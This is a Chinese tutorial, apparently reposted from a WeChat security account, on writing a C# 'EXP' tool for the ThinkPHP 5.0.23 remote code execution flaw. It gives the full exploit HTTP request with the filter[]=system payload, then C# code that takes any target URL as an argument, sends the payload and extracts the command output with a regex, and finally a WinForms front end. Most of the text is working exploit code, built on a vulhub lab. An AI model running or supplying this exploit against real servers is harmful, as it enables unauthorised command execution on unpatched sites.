【Tips】C# 实现简单EXP工具编写

admin 2024年3月20日01:01:15评论2 views字数 2700阅读9分0秒阅读模式
【Tips】C# 实现简单EXP工具编写

Tips +1

【Tips】C# 实现简单EXP工具编写

1、靶场搭建

使用vulhub 快速搭建poc 验证环境,下面我们使用ThinkPHP5 5.0.23 远程代码执行漏洞为例子

搭建连接:https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md

执行如下命令启动一个默认的thinkphp 5.0.23环境:

docker compose up -d

环境启动后,访问http://your-ip:8080即可看到默认的ThinkPHP启动页面。

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

【Tips】C# 实现简单EXP工具编写

2、编写EXP框架

using System;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using System.Text.RegularExpressions;

class Program
{
static async Task t(string[] args)
{
// 创建 HttpClient 对象
using (HttpClient client = new HttpClient())
{
try
{
string url = "http://ip/url";
string requestBody = "xxx"; // 请求体内容

// 创建请求体内容
HttpContent content = new StringContent(requestBody, Encoding.UTF8, "application/x-www-form-urlencoded");

// 发送 POST 请求并接收响应
client.DefaultRequestHeaders.Add("User-Agent", "MyApp/1.0");
HttpResponseMessage response = await client.PostAsync(url, content);

// 处理响应
if (response.IsSuccessStatusCode)
{
string responseData = await response.Content.ReadAsStringAsync();
Console.WriteLine("Response Data:");
Console.WriteLine(responseData);
// 定义正则表达式模式
string pattern = @"xxxxx";
Match match = Regex.Match(responseData, pattern, RegexOptions.Singleline);
Console.WriteLine(match.Groups[1].Value);
}
else
{
Console.WriteLine("Error: HTTP " + (int)response.StatusCode + " " + response.ReasonPhrase);
}
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
}
}
}

3、填写漏洞POC

根据漏洞详情以及响应特征,我们把poc 框架的基础上填写验证的poc 和正则规则匹配漏洞是否存在结果。

string url = "http://172.10.1.131:8080/index.php?s=captcha";
string requestBody = "_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=id"; // 请求体内容

// 创建请求体内容
HttpContent content = new StringContent(requestBody, Encoding.UTF8, "application/x-www-form-urlencoded");

// 发送 POST 请求并接收响应
client.DefaultRequestHeaders.Add("User-Agent", "MyApp/1.0");
HttpResponseMessage response = await client.PostAsync(url, content);

【Tips】C# 实现简单EXP工具编写

接下来使用正则表达式提取<!DOCTYPE html> 之前的数据,代码如下:

// 定义正则表达式模式
string pattern = @"^(.*?)(?=<!DOCTYPEs+html>)";
Match match = Regex.Match(responseData, pattern, RegexOptions.Singleline);
Console.WriteLine(match.Groups[1].Value);
Console.WriteLine(match.Value);

【Tips】C# 实现简单EXP工具编写

4、添加传参变量

if (args.Length == 0)
{
Console.WriteLine("请输入URL:");
return;
}

string httpurl = args[0]; // 从命令行参数获取 URL
Console.WriteLine("URL: " + httpurl + "/index.php?s=captcha");
string url = httpurl+ "/index.php?s=captcha";
string requestBody = "_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=id"; // 请求体内容

【Tips】C# 实现简单EXP工具编写

【Tips】C# 实现简单EXP工具编写

5、图像化EXP

这里使用C# winform 进行图像化优化,然后绑定相应事件即可。

【Tips】C# 实现简单EXP工具编写

【Tips】C# 实现简单EXP工具编写

更换ico图标重新编译生成,最后一个简单的EXP 工具就完成了。

【Tips】C# 实现简单EXP工具编写

End

“点赞、在看与分享都是莫大的支持”

【Tips】C# 实现简单EXP工具编写

【Tips】C# 实现简单EXP工具编写

原文始发于微信公众号(贝雷帽SEC):【Tips】C# 实现简单EXP工具编写

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月20日01:01:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Tips】C# 实现简单EXP工具编写https://cn-sec.com/archives/2587426.html

发表评论

匿名网友 填写信息